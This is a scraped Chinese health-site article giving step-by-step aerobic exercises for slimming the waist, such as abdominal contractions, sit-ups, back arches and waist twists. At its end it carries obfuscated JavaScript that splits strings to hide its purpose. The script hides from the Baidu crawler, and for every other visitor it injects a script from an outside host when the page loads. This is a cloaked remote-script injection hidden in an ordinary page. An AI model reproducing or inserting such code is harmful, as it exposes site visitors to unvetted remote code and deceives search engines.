当前位置:首页 > 健康 > 运动健身 > 正文

健美操瘦腰怎么做?

2017-04-14 19:22:00  来源:360常识网   热度:
导语:每个女孩子都有一个公主梦,穿上美丽的公主裙,但是大家应该都知道公主裙有一个很大的特点,那就是腰身很纤细。所以每个女孩子也希望自己的

每个女孩子都有一个公主梦,穿上美丽的公主裙,但是大家应该都知道公主裙有一个很大的特点,那就是腰身很纤细。所以每个女孩子也希望自己的腰细,有柳腰的说法。各位美眉们知道如何才能拥有纤瘦而又迷人的细腰呢?健美操瘦腰效果怎么样饿?那大家知道有什么可以瘦腰的健美操呢?

1.坐在床上,用力鼓起肚,等肚腹鼓大以后,停2秒再用力回收肚腹,一直回收到最小,然后停2秒钟再鼓,这样反复30次。

2.仰卧在床上,两手放在身体的两侧,用腹肌的力量,使身体坐起来,然后躺下。如果力量不够坐不起来,可用手轻轻扶床进行帮助,反复10-20次。

3.仰卧在床上,两手放在体侧,以头和脚支撑住床,腹部尽量上抬,连续10次。

4.俯卧在床上,两臂屈曲在体侧,然后两臂用力撑起身体,抬头向前看,5秒钟身体落下,连续做10次。

5.立在地上,两腿分开,两臂伸直由前向上尽量抬高,头和胸也尽量向后仰,仰到不能再仰时,改为低头弯腰,两膝关节不要弯曲,两手尽量摸到脚尖,然后再抬臂、抬头、身体向后仰,如此反复练习20次。

腰部健美

腰部是身体的中心,与体型的美丑有很大的关系。要想使腰部长得匀称,给人一种健美的感觉,可以进行以下腰部健美操锻炼。

1.站在地上,两手叉腰,两腿分开,先自左向右扭转腰部,使身体转动,再自右向左转,使身体转动,左右各转20次。

2.站在地上,两腿分开,腰部向前弯,先用右手摸左腿,再用左手摸右腿,各摸10次。

3.站在地上,两手叉腰,先使腰部向前变,再使腰部向后弯,然后再分别向左、向右弯,每个方向弯5次。

瘦身的方法也是多种多样的,就怕大家不能很好的掌握。也要保证正确的锻炼,而且不能半途而废,造成了很大的浪费财力和物力。主要的还是打击了减肥瘦身者的信心,也就没有兴致再继续了。所以,小编想告诉大家的是凡事贵在坚持才会达到自己想要的目的。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}